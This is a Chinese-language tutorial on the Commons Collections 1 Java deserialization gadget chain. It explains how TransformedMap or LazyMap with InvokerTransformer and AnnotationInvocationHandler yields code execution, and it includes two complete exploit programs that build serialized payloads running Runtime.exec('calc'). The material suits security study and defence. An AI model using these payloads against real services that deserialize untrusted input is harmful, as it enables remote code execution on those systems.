利用说明

依赖版本

commons-collections : 3.1-3.2.1

JDK版本:1.7 (8u71之后已修复不可利用)

利用链

  1. AnnotationInvocationHandler.readObject()
  2. *Map(Proxy).entrySet()
  3. *AnnotationInvocationHandler.invoke()
  4. LazyMap.get()/TransformedMap.setValue()
  5. ChainedTransformer.transform()
  6. ConstantTransformer.transform()
  7. InvokerTransformer.transform()

总结

  • 利用 AnnotationInvocationHandler 在反序列化时会触发 Map 的 get/set 等操作,配合 TransformedMap/LazyMap 在执行 Map 对象的操作时会根据不同情况调用 Transformer 的转换方法,最后结合了 ChainedTransformer 的链式调用、InvokerTransformer 的反射执行完成了恶意调用链的构成。其中 LazyMap 的触发还用到了动态代理机制。

前置知识

AbstractMapDecorator

首先 CC 库中提供了一个抽象类 org.apache.commons.collections.map.AbstractMapDecorator,这个类是 Map 的扩展,并且从名字中可以知道,这是一个基础的装饰器,用来给 map 提供附加功能,被装饰的 map 存在该类的属性中,并且将所有的操作都转发给这个 map。

这个类有很多实现类,各个类触发的方式不同,重点关注的是 TransformedMap 以及 LazyMap。

TransformedMap

类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由 Transformer 来定义

这里我们举个例子

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.map.TransformedMap;
  3. import java.util.HashMap;
  4. import java.util.Map;
  5. public class TransformedMapTest {
  6. public static Transformer keyTransformer = input ->{
  7. int num = (int) input;
  8. num += 1;
  9. return (Object) num;
  10. };
  11. public static Transformer valueTransformer = input ->{
  12. String str = input.toString();
  13. return str+"1";
  14. };
  15. public static void main(String[] args){
  16. HashMap hashMap = new HashMap();
  17. hashMap.put(1,"a");
  18. System.out.println("初始化map"+hashMap);
  19. Map map = TransformedMap.decorate(hashMap,keyTransformer,valueTransformer);
  20. map.put(2,"b");
  21. System.out.println("transformMap"+map);
  22. }
  23. }

CC1 - 图1

也就是说当 TransformedMap 内的 key 或者 value 发生变化时(例如调用 TransformedMap 的 put 方法时),就会触发相应参数的 Transformer 的 transform() 方法。

LazyMap

org.apache.commons.collections.map.LazyMap 与 TransformedMap 类似,不过差异是调用 get() 方法时如果传入的 key 不存在,则会触发相应参数的 Transformer 的 transform() 方法。

与 LazyMap 具有相同功能的,是 org.apache.commons.collections.map.DefaultedMap,同样是 get() 方法会触发 transform 方法。

因为功能相同,在类被禁用时,也许能bypass某些waf

Transformer

org.apache.commons.collections.Transformer 是一个接口,提供了一个 transform() 方法,用来定义具体的转换逻辑。方法接收 Object 类型的 input,处理后将 Object 返回。

CC1 - 图2

这些是实现类(那几个input是我上面的例子自己写的实现类)

其中我们重点关注几个实现类

InvokerTransformer

这个实现类从 Commons Collections 3.0 引入,功能是使用反射创建一个新对象,我们来看一下它的 transfrom 方法,方法注释写的很清楚,通过调用 input 的方法,并将方法返回结果作为处理结果进行返回

CC1 - 图3

关键代码

  1. Class cls = input.getClass();
  2. Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
  3. return method.invoke(input, this.iArgs);

这里的this.iMethodNamethis.iParamTypes由构造参数传入。

这样我们就可以使用 InvokerTransformer 来执行方法,测试代码:

  1. Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
  2. transformer.transform(Runtime.getRuntime());

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer 类也是一个 Transformer的实现类,但是这个类自己维护了一个 Transformer 数组, 在调用 ChainedTransformer 的 transform 方法时,会循环数组,依次调用 Transformer 数组中每个 Transformer 的 transform 方法,并将结果传递给下一个 Transformer。

CC1 - 图4

这样就给了使用者链式调用多个 Transformer 分别处理对象的能力。

ConstantTransformer

org.apache.commons.collections.functors.ConstantTransformer 是一个返回固定常量的 Transformer,在初始化时储存了一个 Object,后续的调用时会直接返回这个 Object。

这个类用于和 ChainedTransformer 配合,将其结果传入 InvokerTransformer 来调用我们指定的类的指定方法。

攻击构造

首先有了上述基础知识的。我们如果要构造弹出计算器,那么需要

  1. ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
  2. new ConstantTransformer(Runtime.class),
  3. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  4. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  5. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  6. });
  7. Map map2 = TransformedMap.decorate(hashMap, chain, null);
  8. map2.put(10, "aaa");

这里为什么不直接new ConstantTransformer(Runtime.getRuntime)?

因为Runtime类没有实现 java.io.Serializable 接口,无法被反序列化,待序列化的对象和所有它使用的内部属性对象,必须都实 现了 java.io.Serializable 接口。

结合上面的知识,当put/setValue触发的时候,map2的key和value发生变化,因为这个Map被TransformedMap.decorate的装饰器处理过,所以会调用chain中的transform方法,也就是会循环数组里的每个transform方法。然后将结果传到下一个transform方法。这里把Runtime.class传入,那么传到下一个InvokerTransformer里也是Runtime.class。这样层层调用,其实就是最后通过反射得到了一个Runtime意思和上面说的一样。

  1. Transformer transformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
  2. transformer.transform(Runtime.getRuntime());

只不过这里Runtime.getRuntime()的步骤比较多。

截止到这里,我们利用 CC 库成功构造了 sink gadget 和 chain gadget,接下来我们需要找到一个 kick-off gadget:一个类重写了 readObject ,在反序列化时可以改变 map 的值。

于是我们找到了 sun.reflect.annotation.AnnotationInvocationHandler 这个类。这个类实现了 InvocationHandler 接口,原本是用于 JDK 对于注解形式的动态代理。

CC1 - 图5

先看一下构造方法。这里第一个参数是 Annotation 实现类的 Class 对象,第二个参数是是一个 key 为 String、value 为 Object 的 Map。构造方法判断 var1 有且只有一个父接口,并且是 Annotation.class,才会将两个参数初始化在成员属性 type 和 memberValues 中。

这里的 memberValues 就是用来触发的 Map。接下来我们看一下这个类重写的 readObject 方法:

CC1 - 图6

先调用 AnnotationType.getInstance(this.type) 方法来获取 type 这个注解类对应的 AnnotationType 的对象,然后获取其 memberTypes 属性,这个属性是个 Map,存放这个注解中可以配置的值。

然后循环 this.memberValues 这个 Map ,获取其 Key,如果注解类的 memberTypes 属性中存在与 this.memberValues 的 key 相同的属性,并且取得的值不是 ExceptionProxy 的实例也不是 memberValues 中值的实例,则取得其值,并调用 setValue 方法写入值。

用语言描述这些代码可能有些拗口,注解本质是一个继承了 Annotation 的特殊接口,其具体实现类是 Java 运行时生成的动态代理类。通过代理对象调用自定义注解(接口)的方法,会最终调用 AnnotationInvocationHandler 的 invoke 方法。该方法会从 memberValues 这个 Map 中索引出对应的值。

所以就有了构造payload的思路

  • 构造一个 AnnotationInvocationHandler 实例,初始化时传入一个注解类和一个 Map,这个 Map 的 key 中要有注解类中存在的属性,但是值不是对应的实例,也不是 ExceptionProxy 对象。
  • 这个 Map 由 TransformedMap 封装,并调用自定义的 ChainedTransformer 进行装饰。
  • ChainedTransformer 中写入多个 Transformer 实现类,用于链式调用,完成恶意操作。

payload

  1. HashMap hashMap = new HashMap();
  2. ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
  3. new ConstantTransformer(Runtime.class),
  4. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  5. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  6. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  7. });
  8. Map map2 = TransformedMap.decorate(hashMap, chain, null);
  9. map2.put(10, "aaa");
  10. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  11. Constructor constructor = clazz.getDeclaredConstructors()[0];
  12. constructor.setAccessible(true);
  13. InvocationHandler handler = (InvocationHandler) constructor.newInstance(Generated.class, map2);

除了用 TransformedMap,还可以用 LazyMap 来触发,之前提到过,LazyMap 通过 get() 方法获取不到 key 的时候触发 Transformer。

所以如何让var7不为null

  • sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是 Annotation的子类,且其中必须含有至少一个方法,假设方法名是X
  • 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素

所以这里用到了Retention.class因为Retention中有一个方法,名为value,所以需要手动在加一个hashMap.put("value","xxx");

所以给出exp1

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.TransformedMap;
  6. import javax.annotation.Generated;
  7. import java.io.*;
  8. import java.lang.annotation.Retention;
  9. import java.lang.annotation.Target;
  10. import java.lang.reflect.Constructor;
  11. import java.lang.reflect.InvocationHandler;
  12. import java.lang.reflect.InvocationTargetException;
  13. import java.util.Base64;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. public class CC1 {
  17. public static void main(String[] args) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, IOException {
  18. ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
  19. new ConstantTransformer(Runtime.class),
  20. new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
  21. new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
  22. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
  23. });
  24. HashMap hashMap = new HashMap();
  25. hashMap.put("value","xxx");
  26. Map map2 = TransformedMap.decorate(hashMap, null, chain);
  27. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  28. Constructor constructor = clazz.getDeclaredConstructors()[0];
  29. constructor.setAccessible(true);
  30. InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, map2);
  31. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  32. ObjectOutputStream oos = new ObjectOutputStream(barr);
  33. oos.writeObject(handler);
  34. oos.close();
  35. // System.out.println(barr);
  36. System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray()));
  37. ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
  38. Object o = (Object)ois.readObject();
  39. }
  40. }

另一种构造方式

我们刚才说 LazyMap 通过 get() 方法获取不到 key 的时候触发 Transformer。

LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执 行transform,而LazyMap是在其get方法中执行的 factory.transform 。其实这也好理解,LazyMap 的作用是“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:

CC1 - 图7

但是相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在 sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到 Map的get方法。

AnnotationInvocationHandler类的invoke方法有调用到get

CC1 - 图8

那么如何才能触发到invoke方法呢,这里用了Java的对象代理

Java对象代理

我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就 是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要 调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的 LazyMap#get 。

所以另一种payload

  1. import org.apache.commons.collections.Transformer;
  2. import org.apache.commons.collections.functors.ChainedTransformer;
  3. import org.apache.commons.collections.functors.ConstantTransformer;
  4. import org.apache.commons.collections.functors.InvokerTransformer;
  5. import org.apache.commons.collections.map.LazyMap;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import java.io.ByteArrayInputStream;
  8. import java.io.ByteArrayOutputStream;
  9. import java.io.ObjectInputStream;
  10. import java.io.ObjectOutputStream;
  11. import java.lang.annotation.Retention;
  12. import java.lang.reflect.Constructor;
  13. import java.lang.reflect.InvocationHandler;
  14. import java.lang.reflect.Proxy;
  15. import java.util.HashMap;
  16. import java.util.Map;
  17. public class CommonCollections1 {
  18. public static void main(String[] args) throws Exception {
  19. Transformer[] transformers = new Transformer[] {
  20. new ConstantTransformer(Runtime.class),
  21. new InvokerTransformer("getMethod", new Class[] {
  22. String.class,
  23. Class[].class }, new Object[] { "getRuntime",
  24. new Class[0] }),
  25. new InvokerTransformer("invoke", new Class[] { Object.class,
  26. Object[].class }, new Object[] { null, new Object[0]
  27. }),
  28. new InvokerTransformer("exec", new Class[] { String.class },
  29. new String[] {
  30. "calc" }),
  31. };
  32. Transformer transformerChain = new ChainedTransformer(transformers);
  33. Map innerMap = new HashMap();
  34. innerMap.put("value", "xxxx");
  35. Map outerMap = LazyMap.decorate(innerMap, transformerChain);
  36. Class clazz =
  37. Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  38. Constructor construct = clazz.getDeclaredConstructor(Class.class,
  39. Map.class);
  40. construct.setAccessible(true);
  41. InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
  42. Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
  43. handler = (InvocationHandler) construct.newInstance(Retention.class,proxyMap);
  44. ByteArrayOutputStream barr = new ByteArrayOutputStream();
  45. ObjectOutputStream oos = new ObjectOutputStream(barr);
  46. oos.writeObject(handler);
  47. oos.close();
  48. System.out.println(barr);
  49. ObjectInputStream ois = new ObjectInputStream(new
  50. ByteArrayInputStream(barr.toByteArray()));
  51. Object o = (Object)ois.readObject();
  52. }
  53. }